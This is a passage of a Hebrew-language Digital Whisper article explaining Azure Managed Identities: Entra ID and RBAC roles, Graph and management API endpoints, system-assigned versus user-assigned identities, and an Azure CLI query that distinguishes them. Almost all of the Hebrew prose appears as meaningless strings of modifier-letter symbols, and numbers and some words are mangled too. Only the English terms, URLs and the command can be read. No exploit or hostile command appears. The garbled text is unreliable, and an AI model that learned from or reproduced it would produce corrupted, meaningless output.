ˢˤ ˢ˧ˢ˧ ˢ˟˶ˢ ˶˸ˣ˧ ˶ˣ˶˟ ˫˰ ˢˮˣˬ˸Σ ˢˮˢ ˪˩ ˫˧˸ˣ˶˧˷ˢ ˫˧˵˲ˣ˯ˬˢ ˪˰ ˧ˡ˧ Azure Υ 
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ˢˮˢ ˡ˥˞ ˫ˢˬ Σ˞˶˵ˮ˷ Entra IDΥ 

 

ˣ˞ˣ˟ ˯ˮ˩ˮ ˸ˣ˶˧˷˪ Virtual Machines Σˣˮ˥ˮ˞ ˫˧˪ˣ˩˧ ˸ˣ˞˶˪ ˷˧˷ ˢ˲ ˸ˣˮˣ˩ˬ ˸ˣ˧˪˞ˣ˦˶˧ˣΦ ˥˧ˮˮ ˣ˧˷˩˰ˣ ˣˮ˥ˮ˞ 

˫˧˴ˣ˶ ˦˧˪˥ˢ˪ ˢˤ˧˞˪ ˷ˬ˸˷ˬ ˟πTenant ˣˮ˪˷ ˷˧ ˢ˷˧ˠ ˢˮˣ˩ˬ˪ ˸˧˪˞ˣ˦˶˧ˣˢ XΦ ˶˟˰ˬˣ ˢ˷˧ˠ˪ Σˣ˪˧˞ 

˸ˣ˞˷˶ˢ ˵ˣ˧ˡ˟ ˷˧ x˪ Κ˪ˢˮ˪ ˸˞ ˢˮˣ˩ˬˢ Κ˵˧˪ˡˢ˪ ˢ˸ˣ˞ Κ˵ˣ˥ˬ˪ ˢ˸ˣ˞Κ 

˸˞ ˪˩ ˫˧˶˟ˡˢ ˣ˪˞ˢ ˣˮ˥ˮ˞ ˞˪ ˫˧˪ˢˮˬ ˟πEntra Σ˫ˢ ˫˧˪ˢˣˮˬ ˪ˡˣˬ˟ ˶˥˞ ˫˷˟ RBAC ύ˶ˣ˴˧˵ 

˪˷ΥResource Based Access Controls Φό ˫˧˷ˬ˸˷ˬˢ ˫ˢ ˫˸ˣ˞ ˫˧˷ˬ˸˷ˬ ˣˮ˥ˮ˞˷ ˫˧˶˴ˣ˧ ˫˧˵˥ˣˬ 

˫˧˪ˢˮˬˣ ˟πEntra Σ˪˟˞ ˸˧˲˧˴˲˯ ˸˞ ˸ˣ˞˷˶ˢˢ ˪˰ ˫˧˸ˣ˶˧˷ˢ ˫˧ˮˣ˷ˢ ˭ˮ˰˟ Σˣˮ˞ ˫˧˪ˢˮˬ ˫ˣ˵ˬ˟ ˶˥˞ Φ˫˞ˣ 

˷ˬ˸˷ˮ ˫˧˥ˮˣˬ˟ ˸˴˵ ˶˸ˣ˧ ˫˧˧ˮ˩˦ ύ˧˩ ˢˬ ˢˤ ˶ˬˣ˞ ˫ˣ˵ˬ ˶˥˞ΚΣό ˢˮˣˣ˩ˢ ˞˧ˢ ˦ˣ˷˲ host ˶˥˞ ˵˲˯ˬ˷ 

API ˫˧˶˥˞Φ ˫˞ ˣˮ˥ˮ˞ ˫˧˰ˡˣ˧ ˸ˣ˪ˣ˰˲ˢ˷ ˪˷ Entra ˸ˣ˪ˢˣˮˬ ˭˟ˣ˶˟ ˪˰ ˧ˡ˧ GraphAPIΦ ˤ˞ ˢ˟˶ˢ ˸ˣ˪ˣ˰˲ˢˬ 

˪˷ RBAC ˸ˣ˪ˢˣˮˬ ˸˥˸Υ 

https://management.azure.com/ 

ˤ˞ ˣ˞ˣ˟ ˫˧˷ˮ ˡ˴˟ ˰ˠ˶ ˸˞ Global Administrator ΣApplication Administrator ˶˞˷ˣ ˫˧˶˟˥ˢ ˣˮ˪˷Φ ˶˧˩ˮˣ 

˸˞ Reader ,Contributor ˡˣ˰ˣΥ 

 

https://graph.microsoft.com/
https://management.azure.com/
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ˤ˞ ˫˞ ˡ˰  ˢ˩ˣˮ˶˩ˢ ˸ˬ˷ˢ Role ˸ˣ˰˴ˬ˞˟ ˢˡˣ˵˲ ˠˣ˯ˢˬ: 

get https://graph.microsoft.com/user/assignedroles  

ˣ˞ ˣˢ˷ˬ ˭ˣˮˠ˯˟ Σˣˮ˥ˮ˞˷˩ ˫˧˶˟ˡˬ ˪˰ RBAC ˢˤ ˢ˞˶˧ ˶˸ˣ˧ ˢ˩˩: 

ˢ˷˰ˮ ˸˴˵ ˶ˡ˯ - ˢˬ ˣˮ˟ˢ ˡ˰ ˢ˩: 

мΦ ˷˧ ˵˶ ˫ˣ˵ˬ ˡ˥˞ ˸˵ˣˤ˥˸˪ ˫˧˷ˬ˸˷ˬ ˟πAzure ˞ˣˢˣ Entra ID 

нΦ ˷˧ н ˸ˣˬˣ˵ˬ ˪ˣˢ˧ˮ˪ ˸ˣ˞˷˶ˢ ˪˷ ˷ˬ˸˷ˬ ˟πAzureΥ 

Á Entra ID ˧˞˶˥˞˷ ˪˰ ˸ˣ˞˷˶ˢ ˫˪ˣ˰˟ ˸ˣ˧ˣˢˤˢ ύApplication Administratorό 

Á RBAC ˧˞˶˥˞˷ ˪˰ ˸ˣ˞˷˶ˢ ˫˧˟˞˷ˬ˪ ˫˧ˮˣ˷ˢ ˫˧˵˲ˣ˯ˬ˷ ˪˰ ˧ˡ˧ Azure )˭ˣˠ˩ DB Readerό 

оΦ ˷˧ ˶˟ˡ ˢˤ˩ Managed Identities ˞˪ˣ ˶ˣ˶˟ ˢˬ ˞ˣˢ ˶ˣ˷˵ 

 

ˢˬ ˶ˣ˷˵ Managed IdentitiesΚ 

˭ˣ˧˰˶ˢ ˧˶ˣ˥˞ˬ ˸ˣ˷˧ˢ ˣˤˢ ˞ˣˢ ˡˣ˞ˬ ˶ˣ˶˟ ˧ˡˣ ˷˵˟˸ˬ ˭˰ˬ˪ ˸ˬ˞ˢ Φˣ˞ˣ˟ ˥˧ˮˮ ˢ˶˟˥˪˷ ˧˪˷ ˷˧ ˢ˧˴˵˧˪˲˞ 

ˢ˴˶˷ ˪˰ ˢˮˣ˩ˬ ˸˧˪˞ˣ˦˶˧ˣ ˟πAzure Φˡ˧ˠˮ ˣˤ˷ ˢ˧˴˵˧˪˲˞ ˪˷ ˸ˣˮ˥ ˸˧˦ˮ˶˦ˮ˧˞ ύ˶ˠ˧˶˦ ˦˵˧ˣ˶˲˪ ˫ˣ˧˯ 

˸ˣ˶ˠ˟˟ ˬˡˬ˟"˥...ό .˷˧ ˧˪ ˫ˠ ˸˶˷ DB ˵˧ˤ˥ˬ˷ ˸˞ ˫˧˦˧˶˲ˢ ˭˸˧ˮ˷ ˸ˣˮ˵˪ ˸ˣˮ˥˟Φ 

˶˷˞˩ ˷ˬ˸˷ˬ ˶˟˥˸ˬ ˢ˧˴˵˧˪˲˞˪ Σˢ˴ˣ˶ˣ ˸ˣ˞˶˪ ˢˬ ˫˧˦˧˶˲ˢ ˷˧˷ ˟πDB Σˢ˧˴˵˧˪˲˞ˢ ˢ˩˧˶˴ ˪˞˷˸˪ 

ˣ˸ˣ˞ Φ˨˞ ˢˬ ˞˧ˢ ˢ˸ˣ˞ ˢ˧˴˵˧˪˲˞ Κˣ˪˧˞˟ ˸ˣ˞˷˶ˢ ˞˧ˢ ˸˷ˬ˸˷ˬ ˧ˡ˩ ˪˞˷˸˪ ˸˞ sπDB Κ˨˧˞ ˞˧ˢ 

˸˸ˬ˞˸ˬΚ 

ˤ˞ ˭ˣ˩ˮ ˣˮˡˬ˪˷ ˶˟˰˟ ˪˰ Applications xπService Principals ˭˩˞ˣ ˶˟ˣˡˬ ˪˰ ˣ˸ˣ˞ ˦˲˯ˮˣ˵ˢ Σ˵˶ ˫˰ ˧ˣˮ˧˷ 

ˡ˥˞ ˭˦ˮ˦˵ Φ 



 
 

Managed Identities Azure 
www.DigitalWhisper.co.il 

˭ˣ˧˪ˠ 167, ˶˟ˬ˟ˣˮ нлнп  мм 
 

˧ˡ˩ ˞˪˷ ˨˶˦˴ˮ ˵˧ˤ˥ˢ˪ ˢ˶ˣ˴˟ ˞˪ ˸˥˦˟ˣ˞ˬ ˸˞ ˞ˬ˯˧˯ˢ ˪˷ ˢ˧˴˵˧˪˲˞ˢ ύˬˢ˞ ˬˢ˞ Hard Coded Σό˞˧ˢ 

˶˟˩ ˢ˧ˢ˸ built-in ˨ˣ˸˟ ˢˮˣ˩ˬˢ ˸˧˪˞ˣ˦˶˧ˣˣˢ ˢ˧˪˰ ˢ˧˴˵˧˪˲˞ˢ ˢ˴˶ Η˶˸ˣ˧ˣ ˢˤˬ ΣAzure ˠ˞ˡ˧ ˪ˢˮ˪ ˣˮ˪ ˸˞ 

˸˲ˣ˪˥˸ ˞ˬ˯˧˯ˢΗ 

˸˞ˤ ˸˶ˬˣ˞ Σˢ˧˰˟ˢ ˦˲˯ˮˣ˵ˢ˷ ˢˤˢ ˢ˯ˮˬ ˶ˣ˸˲˪ Σ˞˧ˢ ˭ˣ˯˥˞ ˪ˣˢ˧ˮˣ ˪˷ ˸ˣ˞ˬ˯˧˯ ˸ˣ˧˟˧˦˵˧˪˲˞Φ ˣ˦˧˟ˢ ˪˰ 

˫˧˷˶˸ˢ ˞˟ˢ: 

 

˵˪˥˟ ˭ˣ˧˪˰ˢ ˪˷ xΣˣˮ˞ ˫˧˞ˣ˶ ˸˞ Entra Σ˧˲˩ ˭˸˧ˮ˷ ˸ˣ˞˶˪ Σ˞˧ˢ ˢ˪˧˩ˬ ˸ˣ˷˧ Service Principal ˢ˶˵ˬ˟˷ 

ˣˮ˪˷ ˞˧ˢ ˠˣ˯ˬ Managed Identity Φ˶˥˞˪ ˭˩ˬ Σˡ˴˟ ˭˧ˬ˧ ˢ˦ˬ˪ ˣˮ˥ˮ˞ ˫˧˞ˣ˶ ˸˶˷ DB ˨˧˧˷˷ ˪πAzure 

Tenant ˣˮ˪˷ Φˣ˧˪˞ ˨˶˦˴ˮ ˸˷ˠ˪ ˱ˣ˪˷˪ˣ ˣˮˬˬ ˰ˡ˧ˬ ύ˭˟ˣˬ˩ ˫˰ ˷ˬ˸˷ˬ ˪˰˟ ˸ˣ˞˷˶ˢ ˸ˣˬ˧˞˸ˬΦό 

˸˥˞ ˫˧˩˶ˡˢ ˸ˣ˷˰˪ ˸˞ˤ ˞˧ˢ ˶˷˲˞˪ ˢ˧˴˵˧˪˲˞˪ ˣˮ˪˷ ˪ˣ˰˲˪ ˫˰ ˸ˣ˞˷˶ˢ delegated ˢˤ˷ ˭ˣ˶˵˰˟ ˶ˬˣ˞ 

˷ˬ˸˷ˬˢ˷ ˳˥ˣ˪ ˪˰ ˧ˮ˞ ˫˧˩˯ˬ ˢ˧˴˵˧˪˲˞˪ ˳ˣ˶˪ ˸ˣ˞˷˶ˢ˟ ˧˪˷ Φ  

˷˧˥˶˸˟ ˢˤˢ ˣˮ˥ˮ˞ ˫˧˶˷˲˞ˬ ˢ˧˴˵˧˪˲˞˪ ˪ˣ˰˲˪ ˸ˣ˞˷˶ˢ˟ ˪˷ ˷ˬ˸˷ˬˢ Σˢˤ˷ ˞˪ ˡ˧ˬ˸ ˧˪˞˧ˡ˧˞ ˪ˣ˪˰ˣ 

˸˸˪ ˢ˧˴˵˧˪˲˞˪ ˸ˣ˞˷˶ˢ ˢ˟˶ˢ ˶˸ˣ˧ ˸ˣˢˣ˟ˠ ˞˧ˢ˷ˬ ˢ˩˧˶˴ ˪˰ˣ˲˟Φ ˢˡ˧ˬ˟ ˞˪ˣ ˫˸˰ˬ˷ ˪˰ ˥ˮˣˬˢ Σˣˮ˞ 

˫˧˲˞ˣ˷ ˡ˧ˬ˸ ˪ˣ˰˲˪ ˸˷˧ˠ˟ least-privilege Σˢˤ˷ ˪ˣˡˠ˟ ˶ˬˣ˞ Σ˸˸˪ ˸ˣ˷˧˪ ˸˞ ˸ˣ˞˷˶ˢˢ ˸ˣ˧˪ˬ˧ˮ˧ˬˢ 

˞˧ˢ˷ ˢ˩˧˶˴ ˧ˡ˩ ˰˴˟˪ ˸˞ ˸ˣ˪ˣ˰˲ˢ ˸ˣ˴ˣ˥ˮˢ Φ 

˭˩˪ Σ˨˶ˡˢ ˢˮˣ˷˞˶ˢ ˞˪ ˸˧˪˞˧ˡ˧˞ ˞˪ˣ ˢˬ˧˞˸ˬ ˢ˷˧ˠ˪ ˣˤˢΦ ˨˶ˡˢ ˶˸ˣ˧ˢ ˢ˟ˣ˦ Σ˞˧ˢ ˸ˣ˰˴ˬ˞˟ MI Φˣ˧˷˩˰ 

˭˧˟ˮ ˢˬ˪ ˨˧˞ˣΗ 

˸˧˷˞˶ Σˣˮ˥ˮ˞ ˞˪ ˫˧˷ˬ˸˷ˬ ˸ˣ˞˷˶ˢ˟ ˪˷ ˷ˬ˸˷ˬˢ ˧ˡ˩ ˰˴˟˪ ˸ˣ˪ˣ˰˲ Σˣˮ˥ˮ˞ ˷ˬ˸˷ˮ ˸ˣ˞˷˶ˢ˟ ˪˷ sπ

MI Σˢ˩˩ ˪˩ˣˮ˷ ˸˸˪ x˪ ˵ˣ˧ˡ˟ ˸˞ ˸ˣ˞˷˶ˢˢ ˢ˧˴˵˧˪˲˞ˢ˷ ˣˮ˪˷ ˨˶˦˴˸ ˞˪ˣ ˶˸ˣ˧ ˢˤˬύ Φ˥˧ˮˮ ˢ˶˵ˬ˟ ˣˮ˪˷ 

ˢˤ ˢ˧ˢ˧ ˣˢ˷ˬ ˣˬ˩ DB Reader Φό 
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˸˰˩ ˣˮ˥ˮ˞ ˢ˧˰˟˟ ˸˶˥˞ Σ˷˧ ˣˮ˪ ˢ˧˴˵˧˪˲˞ ˫˰ ˸ˣ˞˷˶ˢ ˸˩˪ˣˢ˷ ˰˴˟˪ ˸ˣ˪ˣ˰˲ Σˢˬ ˶ˬˣ˞˷ ˢ˧˴˵˧˪˲˞ˢ˷ 

ˣˤˢ ˢ˩˧˶˴ Credentials Σ˫ˠˣ ˸ˬ˞˸ˢ˪ Φ˫˞ˣ ˷˧ ˢ˪ Credentials Σ˫ˢ ˫˧˩˧˶˴ ˶ˬ˷˧ˢ˪ ˢ˶ˣ˴˟ ˣˤ˩ 

ˢ˧˴˵˧˪˲˞ˢ˷ ˪˩ˣ˸ ˭˲ˣ˞˟ ˧˦ˬˣ˦ˣ˞ ˰˴˟˪ ˸ˣˢˡˤˢΦ  

ˢ˲ˣ ˯ˮ˩ˮ sπMI Φ˧˲˩ ˧˸˶˞˧˸˷ ΣAzure ˧˞˶˥˞ ˪˰ MI Σ˞ˣˢ ˶˴ˣ˧ ˫ˢ˪ ˞ˬ˯˧˯ ˸˧˦ˬˣ˦ˣ˞ ˫ˠˣ ˧˞˶˥˞ ˪˰ 

ˢ˸˲˪˥ˢ ˫˰˲ ˢˬ˩˟ ˭ˬˤ Φ 

˸˲˯ˣ˸˟ ˪˰ ˪˩ ˶ˣ˲˧˯ˢ ˢˤˢ Σ˷˧ ˡˣ˰ ˭˧˧ˮ˰ ΣMI ˡ˧ˬ˸ ˢ˧ˢ˧ ˶˷ˣ˵ˬ ύbound (˟˞˷ˬ˪ ˫˧ˣ˯ˬ Σ˞˪ˣ ˢ˧ˢ˧ ˭˸˧ˮ 

˸ˣˢˡˤˢ˪ ˣ˸˧˞ ˳ˣ˥ˬ ˟˞˷ˬ˪ ˢˤˢΦ 

ˣ˞ˣ˟ ˮ˪˰ ˰ˠ˶ ˟˩˰˸ ˦˲˷ˬˢ ˭ˣ˶˥˞ˢ :ˢ˩ ˡ˰ ˣˮ˶˟˧ˡ ˪˰ ˢ˧˴˵˧˪˲˞ Σ ˢˬ ˤ˞˫ˣ˞˸˲ ˧ˮ˞ ˸˶ˬˣ˞ ˷-MI ˶˷ˣ˵ˬ 

˟˞˷ˬ˪Κ ˷ ˞ˣˢ ˭˧˧ˮ˰ˢ˞˪ ˭˸˧ˮ ˸ˣˢˡˤˢ˪ ˫˰ sπMI ˳ˣ˥ˬ ˟˞˷ˬ˪ ˞ˣˢ˷ ˶ˣ˷˵ ˣ˧˪˞Φ x ˧ˮ˲ˬ ˡ˟ˣ˰ ˢˤ

˷ˢˡˣ˰˸ˢ ˢ˸ˣ˰˴ˬ˞˟˷ ˢˢˡˤˬ sπMI ˸˞˴ˬˮ ˪˰ ˟˞˷ˬˢ Φ 

˟ˠ˞ Σ˧ˮ˞˷˩ ˸˟˸ˣ˩ ˟˞˷ˬ ˧ˮ˞ ˸˶˟ˡˬ ˪˰ Resource Σ˪˷ˬ˪Υ ˸˶˷ DB Σˢˮˣ˩ˬ ˸˧˪˞ˣ˦˶˧ˣ Function App Σ

Key Vault ˡˣ˰ˣ ˡˣ˰ˣ ˡˣ˰ˣΦΦΦ 

˷ ˞ˣˢ ˞˷ˣˮ˟ ˶˧˩ˢ˪ ˟ˣ˦˷ ˱˯ˣˮ ˭ˣ˸ˮ˞˪ ˪˩˪ ˟˞˷ˬ ˶˷˲˞ ˶ˣ˷˵˪ MI Σˢˮˢ ˢˬ˧˷˶ ˪˷ ˪˩ ˫˧˟˞˷ˬˢ 

˭˸˧ˮ˷ ˸ˣ˴˵ˢ˪ ˫ˢ˪ MIΦ ˫˴˰˟ ˶˷˞˩ ˣˮ˞ ˫˧˶˷ˣ˵ ˭˧˟ ˟˞˷ˬ ˪πMI Σˣˮ˥ˮ˞ ˫˧˶˴ˣ˧ ˸˞ ˸ˣ˶˷˲˞ˢ ˸ˣˢˡˤˢ˪ 

˫˰ sπMI ύ˟˞˷ˬˢˬ ˢˤˢ ˡ˟˪˟Φό 

˷˧ ˫˧˟˞˷ˬ ˷˫˸ˣ˰˴ˬ˞˟ ˢ˟˶ˢ ˶˸ˣ˧ ˧˟˧˦˧˞ˣ˦ˮ˧˞ ˭˧˟ˢ˪ ˸˞ ˶ˣ˲˧˯ˢ ˢˤˢ Σˣˬ˩ ˪˷ˬ˪ ˸ˣˮˣ˩ˬ ˸ˣ˧˪˞ˣ˦˶˧ˣ Σ

˧ˮ˞ ˸˶˥˟ ˟πFunction App ˪˧˟˷˟ ˞ˬˠˣˡˢ Σ˵˶ ˧ˡ˩ ˣ˪˩ˣ˸˷ ˸ˣ˞˶˪ ˫˧ˠˣ˯ ˫˧˲˯ˣˮ ˫˧ˮ˧˧ˮ˰ˬˣ JΦ 

ˤ˞ Function App xʕ ˨˶ˡ ˢˡˬ˥ˮ ˶ˣ˴˧˪ ˸ˣ˧˴˵ˮˣ˲ ˸ˣ˷ˣ˰˷ ˫˧˶˟ˡ ˣˠ˶˦ˣ˧ˣ ˸˧˦ˬˣ˦ˣ˞ ˸˰˟ ˰ˣ˶˧˞ ˫˧ˣ˯ˬ Σ

˪˷ˬ˪Υ ˪˩ ˫˰˲ ˣˢ˷˧ˬ˷ ˢ˷ˣ˰: 

Get https://sapir - function - app 

˳ˣ˶˸ ˢ˧˴˵ˮˣ˲ ˸˩˪ˣˢ˷ ˪πDB ˸ˡ˰˸ˬˣ ˸˞ ˸˟ˣ˸˩ sπIP ˢ˸ˮ˲˷ ˧˪˞Φ ˸ˣ˧˴˵ˮˣ˲ˢ ˭ˬ˴˰ ˸ˣ˴˶ ˪˰ ˠˣ˯ ˪˷ 

ˢˮˣ˩ˬ Σˢ˶˵ˬ˟ ˧˪˷ ˧˸˶˥˟ ˟ˣ˸˩˪ ˸˞ ˢ˧˴˵ˮˣ˲ˢ ˸˲˷˟ PowerShell Σˤ˞ ˶˟ˣˡˬ ˸ˮˣ˩ˬ˟ ˯ˣˡˮ˧ˣˣ Φˢ˧˪˰ˣ 

ύ˫˸˞ ˥˦˟ ˶˟˩ ˫˧˷˥ˮˬ ό˷˧ MI Φ 

ˣ˞ˣ˟ ˪˧˥˸ˮ ˠ˲ˮ˵˪ ˫ˣ˶ˤˮˣ ˬ!˫˷ 
  

https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/managed-identities-status#:~:text=Azure%20services.-,Services%20supporting%20managed%20identities,-The%20following%20Azure
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˸˧˷˞˶ Σ˷˧ ˧ˮ˷ ˫˧ˠˣ˯ ˪˷ MIΥ 

Á System assigned 

Á User assigned 

˷˧ ˫ˢ˧ˮ˧˟ ˢˬ˩ ˫˧˪ˡ˟ˢ Σ˶˷˞˩ ˣˮ˥ˮ˞ ˫˧˶˴ˣ˧ System assigned Σˢ˸˰ˬ˷ ˞˶˵˧SAMI  ύ˶ˣ˴˧˵ ˪˷System 

Assigned Managed IdentityΣό ˣˮ˥ˮ˞ ˫˴˰˟ ˫ˡˣ˵ ˫˧˶˴ˣ˧ ˟˞˷ˬ Σˤ˞ˣ ˫˧˪ˣ˩˧ ˭ˬ˯˪ ˶ˣ˴ SAMI ˶ˣ˟˰ ˟˞˷ˬˢ 

ˢˤˢΦ ˢˮˢΥ 

 

πsMI ˢˤˢ Σ˥˴ˮ˪ ˢ˧ˢ˧ ˨˧˧˷ ˪πFunction App ˢˤˢ Σ˞˪ˣ ˭˸˧ˮ ˨˧˧˷˪ ˣ˸ˣ˞ ˫˧˟˞˷ˬ˪ ˫˧˶˥˞Φ ˪˩ˣˮ ˫ˠ ˸ˣ˞˶˪ 

˪˩˷ ˢ˦˧˪˷ˢ ˷˧˷ ˣˮ˪ ˰ˠˣˮ˟ ˪πSAMI ˢˤ ˫˞ ˞ˣˢ ˫˧˧˵ x˞ ˞˪ Σ˭˧˞ ˣˮ˪ ˨˶ˡ ˶ˣ˥˟˪ ˸˞ ˞ˬ˯˧˯ˢ ˣ˪˷ Σ˸ˣ˞˶˪ 

ˢ˸ˣ˞ x˞ ˪ˢˮ˪ ˢ˸ˣ˞ Φ 

˪˟˞ ˭˩ ˪˩ˣˮ ˸˸˪ x˪ ˸ˣ˞˷˶ˢ ˢˡ˧ˬ˟ ˢ˴˶ˮˣ ύ˸ˣ˞˷˶ˢ RBAC Φόˢ˞˶ˮ ˢˤ ˨˩Υ 

 

˞˪ ˯ˮ˩˞ ˢ˲ ˫˧˶ˣ˟˧ˡ˪ ˪˰ Subscriptions xπResource Groups ˣ˩ˣΣ ˧˩ ˢˤ ˞˪ ˡˣ˞ˬ ˟ˣ˷˥ Σ˪˟˞ ˪ˣˡˠ˟ ˣ˪˞ 

˫˧ˬˣ˥˸ ˫˧ˮˣ˷ ύScopesό ˫ˢ˧˪˰ˣ ˧ˮ˞ ˸ˮ˸ˣˮ ˪πSAMI ˧˪˷ ˢ˷˧ˠ Φ˸˞ˤ ˸˶ˬˣ˞ Σˢ˶˵ˬ˟ ˢˤˢ ˧˸˸ˮ ˸ˣ˞˷˶ˢ 
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Owner ˵˶ ˪˰ πResource Group ˧˲˧˴˲˯ˢ sapir_test_groupύ Φ˨˶ˣ˴˪ ˢˬˠˡˢˢ Resource Group ˪ˣ˩˧ 

˪˧˩ˢ˪ ˧˸˶˷ DB ˸ˣˮˣ˩ˬ ˸ˣ˧˪˞ˣ˦˶˧ˣ ˣ˩ˣόΦ 

ˤ˞ ˣˮ˧˞˶ ˨˧˞ ˫˧˶˴ˣ˧ SAMI ˨˧˞ˣ ˫˧ˮ˸ˣˮ ˢˤ˪ ˸ˣ˞˷˶ˢ Σ˧˲ˣ˧Φ ˢˬ ˢˤ User Assigned Managed Identity Κˣ˞ 

ˣˬ˷˟ ˧ˮ˷ˢ π UAMIΚ ˪ˡ˟ˢˢ ˭˧˟ UAMI ˪πSAMI ˢˤ ˸ˬˣ˰˪˷ SAMI ˶ˣ˷˵˷ ˵˶ ˟˞˷ˬ˪ ˡ˥˞ ˥˴ˮ˪ ΣUAMI 

˪ˣ˩˧ ˸ˣ˧ˢ˪ ˶ˣ˷˵ ˶˲˯ˬ˪ ˫˧˟˞˷ˬΦ 

ˢˬ ˭ˣ˧ˠ˧ˢˢ ˭˞˩ Κ˥˧ˮˮ ˷˧˷ ˣˮ˪ ˢ˴ˣ˟˵ ˪˷ ˸ˣˮˣ˩ˬ ˸ˣ˧˪˞ˣ˦˶˧ˣ ˭˪ˣ˩˪˷ ˣˮ˥ˮ˞ ˫˧˴ˣ˶ ˸˸˪ ˸˞ ˭˸ˣ˞ ˸ˣ˞˷˶ˢ Σ

ˢˤ ˦˰ˬ ˡ˧˟˩ˬ ˶ˣ˴˧˪ SAMI ˪˩˪ ˸˥˞ ˸ˣˮˣ˩ˬˢˬ ˸˸˪ˣ ˪˩˪ SAMI ˢˤ˩ ˸˞ ˣ˸ˣ˞ ˦˯ ˸ˣ˞˷˶ˢΦ  ,˭˩˪˪˰ ˸ˮˬ 

˨ˣ˯˥˪ ˸ˣ˪ˣ˰˲˟ ύ˧˪˪˩˟ˣ Σˢˤ ˦ˣ˷˲ ˷˧ˠ˶ˬ ˭ˣ˩ˮ ˶˸ˣ˧ Σό˪˩ˣˮ ˶ˣ˴˧˪ ˣˮ˧ˬ˴˰˟ MI Σˢ˪˥˸ˢ˟ ˞ˣˢ ˞˪ ˢ˧ˢ˧ ˶ˣ˷˵ 

˫ˣ˷˪ ˟˞˷ˬ Σ˦ˣ˷˲ Standalone MI Σ˭˟ˣˬ˩ ˞˪˷ ˪˩ˣˮ ˸ˣˢˡˤˢ˪ ˣ˸˧˞ x˞ ˣˢ˷ˬ ˭ˣˮˠ˯˟ Σ˵˶ ˸˸˪ x˪ ˸ˣ˞˷˶ˢΦ 

˶˥˞˪ ˭˩ˬ Σ˪˩ˣˮ ˶˷˵˪ ˣ˸ˣ˞ ˢˬ˩˪ ˫˧˟˞˷ˬ ˢ˴˶ˮ˷ ˪˧˟˵ˬ˟Φ 

ˤ˞ ˧˸˶˴˧ UAMI ˫˷˟ sapir_uami Σ˸˰˩ˣ ˧ˮ˞ ˢ˪ˣ˩˧ ˪˧˥ˢ˪ ˣ˸ˣ˞ ˪˰ ˫˧˟˞˷ˬ ˫˧ˮˣ˷ Σ˭˟ˣˬ˩ˣ ˸˸˪ x˪ ˸ˣ˞˷˶ˢ 

˧ˮˣ˴˶˩ Φ˧˸˦˪˥ˢ ˫˧˷ˢ˪ ˣ˸ˣ˞ ˪˰ ˢˮˣ˩ˬ ˸˧˪˞ˣ˦˧˶ˣΥ 

 

˟˧ˮˠˬ Φ˫˩˯ˮ ˟ˣ˷ ˢˬ ˣˮ˟ˢ ˡ˰ ˟˪˷ ˢˤ: 

мΦ ˷˧ н ˫˧ˠˣ˯ ˪˷ MI 

нΦ ˶˷˲˞ ˶ˣ˷˵˪ User Assigned Managed Identity ˶˲˯ˬ˪ ˫˧˟˞˷ˬ 

оΦ ˶˷˲˞ ˸˸˪ ˸ˣ˞˷˶ˢ ˪πMI  

пΦ ˧˞ ˶˷˲˞ ˦ˣ˪˷˪ ˪˰ ˞ˬ˯˧˯ˢ ˪˷ MI  
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˟ˠ˞ Σ˧ˡ˩ ˸ˣˢˤ˪ ˫˞ s-MI ˞ˣˢ System Assigned x˞ User Assigned Σˣ˪˩ˣ˸ ˪˩˸˯ˢ˪ ˪˰ ˨˶˰ˢ ˞˟ˢΥ 

 

˸˥˸ alternativeNames ˢ˧ˢ˧ ˨˶˰ ˫˷˟ isExplicitΥ 

¶ True == UAMI 

¶ False == SAMI 

ˢˮˢ query ˡˬ˥ˮ ˸ˣ˰˴ˬ˞˟ ˪ˣˡˣˬˢ azΥ 

az ad sp list -- query ="[?servicePrincipalType=='ManagedIdentity' && 
alternativeNames[?contains(@,'isExplicit=False')]]" -- all  

 

˟ˠ˞ Σ˫˞ ˶˟˩ ˫˧˪˩˸˯ˬ ˪˰ sπattributes ˣˮ˪˟˧˵˷ Σˣˮ˥ˮ˞ ˫˧˪ˣ˩˧ ˸ˣ˞˶˪ appId Σ˪˟˞ ˧˸ˬˬ ˷˧ ˢ˧˴˵˧˪˲˞ 

ˢ˶ˣ˷˵ ˪˩˪ ˢ˧˴˞ˣ˦˧˯ˢ ˣˤˢ Κˢˬ xʕ ˢ˧˴˵˧˪˲˞ˢ ˣˤˢΚ 

ˤ˞ ˸ˬ˞ˢ ˢ˟ˣ˷˸ˢ˷ ˢˤ˪ ˧l ˸˰˷˰˷ˬ Φ˫˞ ˧˞ ˫˰˲ ˫˸˰ˬ˷ ˪˰ ˥ˮˣˬˢ ˭ˣ˶˸˲ ˶˦˯˪˲ Σ ˢˤ ˨˶˰˟ ˢˬ 

ˢˤ˷ Φ 

˧˲˩ ˧˸ˮ˧˧˴˷ ˫ˡˣ˵ ΣMI ˞ˣˢ ˠˣ˯ ˪˷ Service principal ΣπxService Principal xʕ ˧˶ˢ ˸ˣ˷˧ ˸ˠ˴˧˧ˬ˷ ˢ˧˴˵˧˪˲˞ Φ 

˪˟˞ ˢ˶˵ˬ˟ ˣˮ˪˷Σ MI ˞ˣˢ servicePrincipal ˞˪˷ ˠ˴˧˧ˬ ˢ˧˴˵˧˪˲˞ Σ˞˪˞ ˶ˣ˷˵ ˟˞˷ˬ˪ Φ 

˪˟˞ Σ˫ˣ˷ˬ ˞ˣˢ˷ ˸˧ˮ˟˸˟ ˪˷ servicePrincipal Σ˦˲ˣ˯ˣ˶˵˧ˬ ˢ˸˧˧ˢ ˸˟˧˧˥ ˫˧˷˪ ˨˶˰ ˣˢ˷˪˩ ˢˡ˷˟ appId Σ

ˢ˞˶ˮ˩ˣ ˞ˣˢ˷ ˞˪ ˪ˣ˩˧ ˸ˣ˧ˢ˪ null ύ˸ˬˣ˰˪ appDisplayName ˪˷ˬ˪ Σό˫ˢ ˦ˣ˷˲ ˣˬ˷ ˫˷ GUID ˧˞˶˵˞ Σ˵˶ 

˧ˡ˩ ˞˪ˬ˪ ˸˞ ˸˴˟˷ˬˢ ˣˤˢ Φ 

˧ˡ ˰˷˰˷ˬ Σ˪˟˞ ˢˤ ˶ˣ˲˧˯ˢΦ 

˫˞ˣ ˣ˥˵˸ ˸˞ sπGUID ˷˧˷ ˢˡ˷˟ appId ˣ˯ˮ˸ˣ ˸ˣ˞˶˪ ˣˤ˧˞˪ ˢ˧˴˵˧˪˲˞ ˞ˣˢ ˨˧˧˷ Σ˫˸˞ ˣ˪ˠ˸ ˞˧ˢ˷ ˞˪ 

˸ˬ˧˧˵Η 
